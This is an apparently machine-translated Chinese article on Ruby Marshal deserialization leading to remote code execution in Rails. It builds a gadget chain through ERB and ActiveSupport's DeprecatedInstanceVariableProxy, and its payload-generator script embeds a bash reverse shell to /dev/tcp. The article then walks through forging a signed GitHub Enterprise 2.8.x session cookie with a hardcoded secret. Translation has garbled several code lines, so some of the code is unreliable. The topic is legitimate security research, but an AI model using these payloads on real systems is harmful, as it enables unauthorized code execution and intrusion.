Ruby on Rails是一个流行的应用程序平台,它使用cookie来识别应用程序会话。
cookie由两部分组成:cookie-value和signature。每当Rails获取cookie时,它通过验证发送的cookie值的哈希/签名是否与发送的签名匹配来验证cookie是否未被篡改。用于检索内容的解组cookie通常包含三个逻辑步骤:
url_decoded_cookie = CGI :: unescape(cookie_value)
b64_decoded_session = Base64.decode64(url_decoded_cookie)
session = Marshal.load(b64_decoded_session)
在许多白盒Ruby on Rails项目的审计过程中,我们一次又一次地遇到了元组反序列化的不安全使用。虽然会话cookie反序列化是一个严重的问题,但是有一整类的解组错误可能导致远程执行代码(RCE)。所有情况都是相似的:解组cookie,一些GET-POST数据或用户会话中的任何类型的数据。例如:
if(data = @cookies [:user_data])。present?
user,info = Marshal.load(Base64.decode64(data))
这种调用demarshalling是使用反序列化机制的一个非常危险的例子,因为它可能直接导致任意代码执行。这是最终目标,但首先,我们需要构建在访问时运行的代码。
第一步是使用一些erb模板解析器,如ERB或Erubis,它在GitHub Enterprise中使用。src变量的实例可能包含纯Ruby代码; 因此,我们可以在此处放置有效负载,并使用将要执行的代码。
erb = ERB.allocate
erb.instance_variable_set :@src, “%x();”
https://github.com/ruby/ruby/blob/trunk/lib/erb.rb#L875:
738: class ERB
…
852: # Generate results and print them. (see ERB#result)
853: def run(b=new_toplevel)
854: print self.result(b)
855: end
…
865: def result(b=new_toplevel)
…
875: eval(@src, b, (@filename || ‘(erb)’), @lineno)
876: end
877: end
or
erb = Erubis::Eruby.allocate
erb.instance_variable_set :@src, “%x{};”
https://github.com/kwatch/erubis/blob/master/lib/erubis/evaluator.rb#L65:
10: module Erubis
…
44: module RubyEvaluator
…
52: ## eval(@src) with binding object
53: def result(_binding_or_hash=TOPLEVEL_BINDING)
…
65: return eval(@src, _b, (@filename || ‘(erubis’))
查看用于执行有效负载的评估程序的源代码,我们需要在创建erb对象之后调用结果方法。我们不能直接影响执行过程; 因此,我们需要在解组过程中以某种方式强制调用结果方法。InstanceVariableProxy类可以帮助我们解决这类问题。ActiveSupport模块包含一种特殊的机制,用于标记过时的方法并对其进行更改,以使其现在可以正常工作。这叫做ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy。
简单地说,这个机制与解释者交谈:“嘿,伙计。不再支持此方法。请使用这个并运行。“
089: class DeprecatedInstanceVariableProxy < DeprecationProxy
090: def initialize(instance, method, var = “@#{method}”, deprecator = ActiveSupport::Deprecation.instance)
091: @instance = instance
092: @method = method
…
098: def target
099: @instance.__send__(@method)
…
102: def warn(callstack, called, args)
103: @deprecator.warn(“#{@var} is deprecated! Call #{@method}.#{called} instead of #{@var}.#{called}. Args: #{args.inspect}”, callstack)
因此,我们可以使用它来弃用实例变量; 运行该实例变量后,它将丢弃警告消息并调用新方法。这正是我们在这一步所需要的。
class ActiveSupport
class Deprecation
def initialize()
@silenced = true
end
class DeprecatedInstanceVariableProxy
def initialize(instance, method)
@instance = instance
@method = method
@deprecator = ActiveSupport::Deprecation.new
end
end
end
end
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
depr.instance_variable_set :@instance, erb
depr.instance_variable_set :@method, :result
depr.instance_variable_set :@var, “@result”
depr.instance_variable_set :@deprecator, ActiveSupport::Deprecation.new
或者 depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erubis, :result)
在这一步,如果我们尝试访问depr对象,我们将运行代码。
现在我们可以使用Marshal.dump序列化已完成的对象,并使用base64函数进行编码。
payload = Base64.encode64(Marshal.dump(depr)).gsub(“\n”, “”)
puts payload
将所有步骤组合到源代码中
require“base64”
require“erb”
class ActiveSupport
class Deprecation
def initialize()
@silenced = true
end
class DeprecatedInstanceVariableProxy
def initialize(instance,method)
@instance = instance
@method = method
@deprecator = ActiveSupport :: Deprecation.new
end
end
end
end
erb = ERB.allocate
erb.instance_variable_set:@src,“%x(bash -i>&/ dev / tcp/127.0.0.1 / 1337 0>&1);”
erb.instance_variable_set:@ lineno,1337
depr = ActiveSupport :: Deprecation :: DeprecatedInstanceVariableProxy.allocate
depr.instance_variable_set:@ instance,erb
depr.instance_variable_set:@ method,:result
depr.instance_variable_set:
@ var,“ @ result ” depr.instance_variable_set:@ predecator,ActiveSupport :: Deprecation .new
payload = Base64.encode64(Marshal.dump(depr))。gsub(“\ n”,“”)
你可以在repl.it代码平台运行。
去年在GitHub Enterprise 2.8.0 < 2.8.6产品中发现了类似的错误。会话cookie标志有一个静态会话密钥,cookie本身就是Marshal对象。
/data/enterprise-manage/current/config.ru :
62: # Enable sessions
63: use Rack::Session::Cookie,
64: :key => “_gh_manage”,
65: :path => “/”,
66: :expire_after => 1800, # 30 minutes in seconds
67: :secret => ENV[“ENTERPRISE_SESSION_SECRET”] || “641dd6454584ddabfed6342cc66281fb”
首先,使用上述漏洞利用代码创建DeprecatedInstanceVariableProxy对象。
session = {“session_id” => “”, “exploit” => proxy}
之后,我们需要编组会话变量,编码和HMAC使用我们的SECRET密钥641dd6454584ddabfed6342cc66281fb签署其SHA1摘要。
dump = [Marshal.dump(session)].pack(“m”)
hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, dump)
最后,编码有效负载并使用 - 分隔符对连接进行签名,然后将请求作为cookie头发送。
rqst[‘Cookie’] = “_gh_manage=#{CGI.escape(“#{dump} — #{hmac}”)}”
图1. 成功利用GitHub Enterprise 2.8.5
在修复了这个错误后的几个月,台湾研究员Orange Tsai发现了另一个包含像这样的反序列化漏洞的漏洞。该问题有四个链 - 通过远程SSRF到内部Graphite服务SSRF,然后到Python httplib.HTTPConnection模块内的CR-LF注入,然后从Memcache数据库对Ruby对象进行不安全的反序列化。攻击者可以存储使用相同漏洞利用生成的恶意对象,然后在从缓存Memcache中获取该对象后,Ruby gem会自动对其进行反序列化,这将导致代码执行。
图2. 成功利用GitHub Enterprise 2.8.6
成功利用后,攻击者可以使用此类错误在远程系统上运行任意代码。由于使用的广泛可能性,这样的错误导致生产中的严重问题。例如,加密矿工喜欢将这样的bug应用到他们的攻击库中以感染许多系统,以便受感染的系统可以成为僵尸网络的一部分。当然,如果易受攻击的应用程序从目标系统上的高权限用户运行,问题将变得更加严重。留意!
https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles — Slides about marshalling and pickle serialization from OWASP AppSecCali 2015 by Christopher Frohoff
https://gist.github.com/niklasb/df9dba3097df536820888aeb4de3284f — Rails 5.1.4 YAML unsafe deserialization RCE payload
https://repl.it/@allyshka/Ruby-RCE-with-Marshalload — Ruby Marshal+Base64 RCE payload playground/generator
http://exablue.de/blog/2017-03-15-github-enterprise-remote-code-execution.html — GitHub Enterprise 2.8.0 < 2.8.6 RCE report and details
https://www.exploit-db.com/exploits/41616/ — GitHub Enterprise 2.8.0 < 2.8.6 RCE exploit
http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html — GitHub Enterprise 4-chained vulnerability. One of them is unsafe Marshal deserialization